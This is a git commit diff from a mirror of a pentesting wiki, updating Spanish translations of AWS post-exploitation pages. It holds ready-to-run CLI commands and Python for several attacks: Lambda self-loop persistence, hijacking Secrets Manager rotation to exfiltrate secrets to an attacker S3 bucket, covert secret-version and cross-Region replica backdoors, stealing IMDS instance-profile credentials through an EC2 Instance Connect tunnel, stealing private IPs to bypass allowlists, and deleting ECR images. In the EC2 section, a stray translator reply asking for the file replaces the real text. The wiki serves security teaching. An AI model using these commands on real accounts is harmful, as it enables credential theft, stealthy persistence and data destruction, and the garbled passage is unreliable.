mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
File diff suppressed because one or more lines are too long
@@ -1,18 +1,20 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abusa de los Destinations asíncronos de Lambda junto con la configuración Recursion para hacer que una función se re-invoque continuamente sin un programador externo (sin EventBridge, cron, etc.). Por defecto, Lambda termina los bucles recursivos, pero establecer la recursion config en Allow los vuelve a habilitar. Los Destinations realizan la entrega del lado del servicio para invocaciones async, así que una única invocación inicial crea un canal sigiloso de heartbeat/backdoor sin código. Opcionalmente, limita con reserved concurrency para mantener el ruido bajo.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
Abusa de los Destinations asíncronos de Lambda junto con la configuración Recursion para hacer que una función se vuelva a invocar continuamente sin un programador externo (no EventBridge, cron, etc.). Por defecto, Lambda termina los bucles recursivos, pero establecer la recursion config en Allow los vuelve a habilitar. Los Destinations entregan en el lado del servicio para async invokes, por lo que una única invocación semilla crea un canal sigiloso de heartbeat/backdoor sin código. Opcionalmente, limita el ritmo con reserved concurrency para mantener bajo el ruido.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
Notas
|
||||
- Lambda no permite configurar la función para que sea su propio destination directamente. Usa un function alias como destination y permite que el execution role invoque ese alias.
|
||||
- Permisos mínimos: capacidad para leer/actualizar el event invoke config y recursion config de la función objetivo, publicar una versión y gestionar un alias, y actualizar la policy del execution role de la función para permitir lambda:InvokeFunction sobre el alias.
|
||||
|
||||
## Requisitos
|
||||
- Región: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
## Pasos
|
||||
|
||||
1) Obtener el ARN de la función y la configuración actual de Recursion
|
||||
```
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Permitir al rol de ejecución de la función invocar el alias (requerido por Lambda Destinations→Lambda)
|
||||
3) Permitir que el rol de ejecución de la función invoque el alias (requerido por Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurar el destino asíncrono al alias (a sí mismo vía alias) y deshabilitar los reintentos
|
||||
4) Configure el async destination al alias (self via alias) y desactive los retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -63,7 +65,7 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Iniciar una sola invocación asíncrona
|
||||
6) Iniciar una única invocación asíncrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
@@ -73,7 +75,7 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Limitador sigiloso opcional
|
||||
8) Limitación sigilosa opcional
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impacto
|
||||
- Un único async invoke provoca que Lambda se vuelva a invocar continuamente sin un planificador externo, habilitando una sigilosa persistence/heartbeat. Reserved concurrency puede limitar el ruido a una sola warm execution.
|
||||
- Una sola invocación asíncrona hace que Lambda se vuelva a invocar continuamente sin un planificador externo, permitiendo persistencia/latido sigiloso. Reserved concurrency puede limitar el ruido a una única ejecución en caliente.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,21 +4,21 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de políticas de recursos
|
||||
### Mediante políticas de recursos
|
||||
|
||||
Es posible **conceder acceso a secretos a cuentas externas** vía políticas de recursos. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) for more information. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que cifra el secreto**.
|
||||
Es posible **conceder acceso a secretos a cuentas externas** mediante políticas de recursos. Revisa la [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesita acceso a la KMS key que cifra el secreto**.
|
||||
|
||||
### A través de Secrets Rotate Lambda
|
||||
### Mediante Secrets Rotate Lambda
|
||||
|
||||
Para **rotar secretos** automáticamente se invoca una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría directamente **exfiltrar el nuevo secreto** a sí mismo.
|
||||
Para **rotar secretos** automáticamente se invoca una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría directamente **exfiltrate el nuevo secreto** hacia sí mismo.
|
||||
|
||||
Así podría verse el código de la Lambda para tal acción:
|
||||
Así podría verse el código de la lambda para tal acción:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,33 +48,27 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Reemplazar la Lambda de rotación por una función controlada por el atacante mediante RotateSecret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Intercambiar la Lambda de rotación por una función controlada por el atacante mediante RotateSecret
|
||||
|
||||
Abusar de `secretsmanager:RotateSecret` para reasignar un secret a una Lambda de rotación controlada por el atacante y forzar una rotación inmediata. La función maliciosa exfiltrates las versiones del secreto (AWSCURRENT/AWSPENDING) durante los pasos de rotación (createSecret/setSecret/testSecret/finishSecret) hacia un attacker sink (por ejemplo, S3 o HTTP externo).
|
||||
Abusar de `secretsmanager:RotateSecret` para volver a enlazar un secreto a una rotation Lambda controlada por el atacante y forzar una rotación inmediata. La función maliciosa exfiltra las versiones del secreto (AWSCURRENT/AWSPENDING) durante los pasos de rotación (createSecret/setSecret/testSecret/finishSecret) hacia un destino del atacante (p. ej., S3 o HTTP externo).
|
||||
|
||||
- Requisitos
|
||||
- Permisos: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) para aprovisionar el rol de ejecución de la Lambda con `secretsmanager:GetSecretValue` y preferiblemente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (para que la rotación siga funcionando), KMS `kms:Decrypt` para la clave KMS del secreto, y `s3:PutObject` (o outbound egress) para exfiltration.
|
||||
- Un target secret id (`SecretId`) con rotación habilitada o la capacidad de habilitar la rotación.
|
||||
- Permisos: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sobre la Lambda del atacante, `iam:CreateRole/PassRole/PutRolePolicy` (o AttachRolePolicy) para aprovisionar el role de ejecución de la Lambda con `secretsmanager:GetSecretValue` y preferiblemente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (para que la rotación siga funcionando), KMS `kms:Decrypt` para la key KMS del secreto, y `s3:PutObject` (o egress saliente) para la exfiltración.
|
||||
- Un Secret target id (`SecretId`) con rotación habilitada o la capacidad de habilitar rotación.
|
||||
|
||||
- Impacto
|
||||
- El atacante obtiene el/los valor(es) del secreto sin modificar el código legítimo de rotación. Solo se cambia la configuración de rotación para apuntar a la Lambda del atacante. Si no se detecta, las rotaciones programadas futuras seguirán invocando la función del atacante.
|
||||
- El atacante obtiene el/los valor(es) del secreto sin modificar el código legítimo de rotación. Solo se cambia la configuración de rotación para apuntar a la Lambda del atacante. Si no se detecta, las rotaciones futuras programadas seguirán invocando la función del atacante.
|
||||
|
||||
- Pasos del ataque (CLI)
|
||||
1) Preparar el attacker sink y el rol de Lambda
|
||||
- Crear un bucket S3 para exfiltration y un rol de ejecución confiado por Lambda con permisos para leer el secreto y escribir en S3 (además de logs/KMS según sea necesario).
|
||||
2) Desplegar la Lambda del atacante que en cada paso de rotación obtiene el/los valor(es) del secreto y los escribe en S3. La lógica mínima de rotación puede simplemente copiar AWSCURRENT a AWSPENDING y promoverlo en finishSecret para mantener el servicio sano.
|
||||
3) Reasignar la rotación y forzarla
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Crear un bucket S3 para la exfiltración y un role de ejecución confiable por Lambda con permisos para leer el secreto y escribir en S3 (más logs/KMS según sea necesario).
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Reasignar la rotación y desencadenar
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verificar la exfiltration listando el prefijo S3 para ese secreto e inspeccionando los artefactos JSON.
|
||||
4) Verificar la exfiltración listando el prefijo S3 para ese secreto e inspeccionando los artefactos JSON.
|
||||
5) (Opcional) Restaurar la Lambda de rotación original para reducir la detección.
|
||||
|
||||
- Ejemplo de Lambda del atacante (Python) exfiltrating to S3
|
||||
- Ejemplo de Lambda atacante (Python) que exfiltra a S3
|
||||
- Entorno: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
@@ -102,16 +96,16 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
### Version Stage Hijacking para persistencia encubierta (etapa personalizada + cambio rápido de AWSCURRENT)
|
||||
|
||||
Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. En cualquier momento, mueve `AWSCURRENT` a la versión del atacante para envenenar las cargas de trabajo dependientes, y luego restáuralo para minimizar la detección. Esto proporciona persistencia encubierta tipo backdoor y manipulación rápida en el momento de uso sin cambiar el nombre del secreto ni la configuración de rotación.
|
||||
Abusar de Secrets Manager version staging labels para plantar una versión de secret controlada por el atacante y mantenerla oculta bajo una etapa personalizada (por ejemplo, `ATTACKER`) mientras la producción sigue usando el `AWSCURRENT` original. En cualquier momento, mover `AWSCURRENT` a la versión del atacante para envenenar workloads dependientes, y luego restaurarlo para minimizar la detección. Esto proporciona persistencia de puerta trasera sigilosa y manipulación rápida en el momento de uso sin cambiar el nombre del secret ni la configuración de rotación.
|
||||
|
||||
- Requisitos
|
||||
- Permisos: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- ID del secreto objetivo en la Región.
|
||||
- Permisos: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (para verificación)
|
||||
- ID del secret objetivo en la Región.
|
||||
|
||||
- Impacto
|
||||
- Mantener una versión oculta y controlada por el atacante de un secreto y voltear atómicamente `AWSCURRENT` a ella bajo demanda, influyendo en cualquier consumidor que resuelva el mismo nombre de secreto. El volteo y la rápida reversión reducen la probabilidad de detección mientras permiten la compromiso en el momento de uso.
|
||||
- Mantener una versión oculta y controlada por el atacante de un secret y voltear atómicamente `AWSCURRENT` hacia ella bajo demanda, influyendo en cualquier consumidor que resuelva el mismo nombre de secret. El cambio y la rápida reversión reducen la probabilidad de detección mientras permiten la compromisión en el momento de uso.
|
||||
|
||||
- Pasos del ataque (CLI)
|
||||
- Preparación
|
||||
@@ -168,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- Notas
|
||||
- Cuando suministras `--client-request-token`, Secrets Manager lo usa como el `VersionId`. Al agregar una nueva versión sin establecer explícitamente `--version-stages`, `AWSCURRENT` pasa a la nueva versión por defecto y marca la anterior como `AWSPREVIOUS`.
|
||||
- Cuando suministras `--client-request-token`, Secrets Manager lo usa como el `VersionId`. Agregar una nueva versión sin establecer explícitamente `--version-stages` mueve `AWSCURRENT` a la nueva versión por defecto y marca la anterior como `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abusa de la replicación multi-región de Secrets Manager para crear una réplica de un secret objetivo en una región menos monitorizada, cifrarla con una clave KMS controlada por el atacante en esa región, luego promover la réplica a un secret independiente y adjuntar una política de recursos permisiva que otorgue al atacante acceso de lectura. El secret original en la región primaria permanece sin cambios, proporcionando un acceso duradero y sigiloso al valor del secret a través de la réplica promovida mientras se eluden las restricciones de KMS/policies en el primario.
|
||||
- Abusa de la replicación multi-Region de Secrets Manager para crear una réplica de un secret objetivo en una Region menos monitorizada, cifrarla con una clave KMS controlada por el atacante en esa Region, luego promover la réplica a un standalone secret y adjuntar una permissive resource policy que otorgue al atacante read access. El secret original en la Region primaria permanece sin cambios, proporcionando un acceso duradero y sigiloso al valor del secret a través de la réplica promovida, mientras se evaden las restricciones de KMS/policy en la primaria.
|
||||
|
||||
- Requisitos
|
||||
- Permisos: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- En la región de réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) para permitir que el principal atacante realice `kms:Decrypt`.
|
||||
- Un principal atacante (usuario/rol) que reciba acceso de lectura al secret promovido.
|
||||
- En la Region de réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) para permitir al attacker principal `kms:Decrypt`.
|
||||
- Un attacker principal (user/role) para recibir read access al secret promovido.
|
||||
|
||||
- Impacto
|
||||
- Ruta de acceso persistente entre regiones al valor del secret a través de una réplica independiente bajo un CMK de KMS controlado por el atacante y una política de recursos permisiva. El secret primario en la región original queda intacto.
|
||||
- Ruta de acceso cross-Region persistente al valor del secret mediante una réplica standalone bajo un KMS CMK controlado por el atacante y una permissive resource policy. El secret primario en la Region original permanece intacto.
|
||||
|
||||
- Ataque (CLI)
|
||||
- Variables
|
||||
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Crear una KMS key controlada por el atacante en la Región réplica
|
||||
1) Crear clave KMS controlada por el atacante en la Región réplica
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -205,7 +199,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Replicar el secret a R2 usando la clave KMS del atacante
|
||||
2) Replicar el secreto a R2 usando la KMS key del attacker
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
@@ -218,7 +212,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Adjuntar una política de recursos permisiva al secreto independiente en R2
|
||||
4) Adjuntar una resource policy permisiva al standalone secret en R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -231,4 +225,4 @@ aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar del EC2 Instance Connect Endpoint (EIC Endpoint) para obtener acceso SSH entrante a instancias EC2 privadas (sin IP pública/bastión) mediante:
|
||||
Abusar de EC2 Instance Connect Endpoint (EIC Endpoint) para obtener acceso SSH entrante a instancias EC2 privadas (sin public IP/bastion) mediante:
|
||||
- Crear un EIC Endpoint dentro de la subnet objetivo
|
||||
- Permitir SSH entrante en el SG objetivo desde el SG del EIC Endpoint
|
||||
- Inyectar una clave pública SSH de corta duración (válida ~60 segundos) con `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Abrir un túnel EIC y pivotar hacia la instancia para robar credenciales del instance profile desde IMDS
|
||||
- Abrir un túnel EIC y pivotar hacia la instancia para robar las credenciales del instance profile desde IMDS
|
||||
|
||||
Impacto: ruta de acceso remoto sigilosa a instancias EC2 privadas que evita bastiones y restricciones de IP pública. El atacante puede asumir el instance profile y operar en la cuenta.
|
||||
Impacto: ruta de acceso remota sigilosa hacia instancias EC2 privadas que evita bastions y restricciones de public IP. El atacante puede asumir el instance profile y operar en la cuenta.
|
||||
|
||||
## Requisitos
|
||||
- Permisos para:
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Crear EIC Endpoint
|
||||
## Crear endpoint EIC
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Permitir tráfico desde EIC Endpoint hacia la instancia de destino
|
||||
## Permitir tráfico desde EIC Endpoint a la instancia objetivo
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Inyectar clave SSH efímera y abrir un túnel
|
||||
## Inyectar clave SSH efímera y abrir túnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Prueba de Post-exploitation (steal instance profile credentials)
|
||||
## Prueba de post-explotación (robar credenciales del instance profile)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Por favor, pega el contenido del archivo (markdown) que deseas traducir a español.
|
||||
No veo el contenido del archivo. Por favor pega aquí el contenido de src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md para que lo traduzca al español manteniendo la sintaxis markdown/html y las reglas solicitadas.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -89,7 +89,7 @@ Por favor, pega el contenido del archivo (markdown) que deseas traducir a españ
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Usa los creds robados localmente para verificar la identidad:
|
||||
Usa las creds robadas localmente para verificar la identidad:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Notas
|
||||
> - La clave SSH inyectada solo es válida durante ~60 segundos; envía la clave justo antes de abrir el túnel/SSH.
|
||||
> - La clave SSH inyectada solo es válida por ~60 segundos; envía la clave justo antes de abrir el túnel/SSH.
|
||||
> - `OS_USER` debe coincidir con la AMI (p. ej., `ubuntu` para Ubuntu, `ec2-user` para Amazon Linux 2).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` to steal a victim ENI’s secondary private IP and move it to an attacker ENI in the same subnet/AZ. Muchos servicios internos y security groups gatean el acceso por IPs privadas específicas. Al mover esa dirección secundaria, el atacante se hace pasar por el host de confianza a nivel L3 y puede alcanzar servicios allowlisted.
|
||||
Abusar de `ec2:UnassignPrivateIpAddresses` y `ec2:AssignPrivateIpAddresses` para robar la IP privada secundaria de la ENI de la víctima y moverla a una ENI atacante en la misma subnet/AZ. Muchos servicios internos y grupos de seguridad controlan el acceso por IPs privadas específicas. Al mover esa dirección secundaria, el atacante se hace pasar por el host de confianza en L3 y puede acceder a servicios allowlisted.
|
||||
|
||||
Prereqs:
|
||||
- Permisos: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` en el ARN del ENI víctima, y `ec2:AssignPrivateIpAddresses` en el ARN del ENI atacante.
|
||||
- Ambos ENIs deben estar en la misma subnet/AZ. La dirección objetivo debe ser una IP secundaria (la primaria no puede ser desasignada).
|
||||
- Permisos: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` en el ARN de la ENI víctima, y `ec2:AssignPrivateIpAddresses` en el ARN de la ENI atacante.
|
||||
- Ambas ENIs deben estar en la misma subnet/AZ. La dirección objetivo debe ser una IP secundaria (la primaria no se puede desasignar).
|
||||
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
- PROTECTED_SG=<sg-protected> # SG en un servicio objetivo que permite solo $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service> # DNS privado o IP del servicio protegido
|
||||
|
||||
Pasos:
|
||||
1) Elige una IP secundaria del ENI víctima
|
||||
Steps:
|
||||
1) Elige una IP secundaria de la ENI de la víctima
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Asegúrate de que el host protegido permita solo esa IP (idempotente). Si en su lugar usas reglas SG-to-SG, omite este paso.
|
||||
2) Asegúrate de que el host protegido permita solo esa IP (idempotente). Si en su lugar estás usando reglas SG-to-SG, omite este paso.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Línea base: desde la instancia atacante, la solicitud a PROTECTED_HOST debería fallar sin origen falsificado (p. ej., a través de SSM/SSH)
|
||||
3) Línea base: desde la instancia atacante, la solicitud a PROTECTED_HOST debería fallar sin origen suplantado (p. ej., a través de SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
@@ -33,18 +33,19 @@ curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Asignar la misma IP al attacker ENI (en AWS CLI v1 agrega `--allow-reassignment`)
|
||||
5) Asigna la misma IP al ENI del atacante (en AWS CLI v1 añade `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Verificar que la propiedad se transfirió
|
||||
6) Verificar que la propiedad se haya transferido
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Desde la attacker instance, haz source-bind a la hijacked IP para alcanzar el protected host (asegúrate de que la IP esté configurada en el OS; si no, añádela con `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
7) Desde la instancia atacante, source-bind a la hijacked IP para alcanzar el host protegido (asegúrate de que la IP esté configurada en el SO; si no, añádela con `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impacto
|
||||
- Eludir las IP allowlists y suplantar hosts de confianza dentro de la VPC moviendo secondary private IPs entre ENIs en la misma subnet/AZ.
|
||||
- Acceder a servicios internos que controlan el acceso por IPs de origen específicas, permitiendo lateral movement y acceso a datos.
|
||||
## Impact
|
||||
- Eludir IP allowlists y suplantar hosts de confianza dentro del VPC moviendo secondary private IPs entre ENIs en la misma subnet/AZ.
|
||||
- Alcanzar servicios internos que restringen el acceso por IPs de origen específicas, permitiendo movimiento lateral y acceso a datos.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Después de descargar las imágenes debes **comprobarlas en busca de información sensible**:
|
||||
Después de descargar las imágenes deberías **revisarlas en busca de información sensible**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un atacante con cualquiera de estos permisos puede **crear o modificar una lifecycle policy para eliminar todas las imágenes del repositorio** y luego **eliminar por completo el repositorio ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio.
|
||||
Un atacante con cualquiera de estos permisos puede **crear o modificar una lifecycle policy para eliminar todas las imágenes del repositorio** y luego **eliminar todo el repositorio ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedores almacenadas en el repositorio.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
